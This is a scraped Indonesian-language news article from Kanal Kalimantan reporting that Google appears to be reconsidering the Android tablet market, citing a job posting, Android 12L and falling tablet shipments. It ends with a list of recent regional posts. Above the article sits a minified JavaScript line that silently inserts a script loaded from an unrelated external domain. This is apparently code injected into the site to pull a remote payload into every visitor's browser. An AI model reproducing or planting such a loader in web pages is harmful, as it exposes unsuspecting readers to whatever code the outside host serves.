(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Google Mulai Lirik Bisnis Tablet Android


KANALKALIMANTAN.COM – Google sudah lama berhenti dari bisnis tablet. Kini perusahaan sepertinya mulai serius untuk kembali terjun ke pasar tersebut.

Hal ini diketahui setelah Google membuka pekerjaan baru untuk Senior Engineering Manager, Android Tablet App Experience.

Unggahan tersebut menyatakan, kalau Google percaya masa depan komputasi sedang bergeser ke arah tablet yang lebih kuat kuat dan kapabel.

Mengutip Android Authority, Selasa (1/2/2022), Google memang sama sekali tidak menyebut kehadiran tablet baru.

 

Android 12L. Foto: Displaysupplychain

Baca juga : Tolak Peradilan Sesat, 75 Tokoh Ajukan ‘Amicus Curiae’ Perkara Jurkani

Namun, ini mengindikasikan kalau Google bisa saja menghadirkan tablet Pixel ke konsumen.

Google juga sebelumnya memperkenalkan sistem operasi Android 12L.

OS ini ditujukan untuk perangkat layar besar seperti ponsel lipat ataupun tablet.

Ini menandakan kalau Google memang bakal kembali terjun ke bisnis tablet dan siap menyaingi iPad Apple sebagai penguasa pasar tablet saat ini.

Google pertama kali meluncurkan tablet lewat seri Nexus pada 2010.

 

Baca juga : Kalahkan Tokopedia, Shopee Jadi e-Commerce Terbanyak Digunakan Pada Akhir 2021

Sementara tablet terakhir yang dikeluarkan perusahaan adalah Google Pixel C yang dirilis pada 2015 lalu.

Sejak saat itu, Google tak pernah lagi merilis tablet baru. Pada 2019, perusahaan mengumumkan bakal memfokuskan divisi hardware di sektor laptop, bukan tablet.

Di sisi lain, pasar tablet bisa dikatakan belum sesukses perangkat lain. Walaupun saat ini banyak pekerjaan yang beralih ke online maupun hybrid.

Mengutip ZDnet, laporan tiga bulanan Apple beberapa waktu lalu menunjukkan kalau bisnis iPad memiliki laba paling sedikit dibandingkan produk atau layanan lainnya.

 

Baca juga : BPOM Sebut Kontaminasi BPA pada Galon Isi Ulang Mengkhawatirkan, Ini Dampaknya Bagi Kesehatan

Selain itu, data dari IDC menunjukkan bahwa ada penurunan pengiriman tablet pada kuartal empat (Q4) 2021.

Disebutkan kalau periode itu menurun 11,9 persen dibanding kuartal yang sama di 2020. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.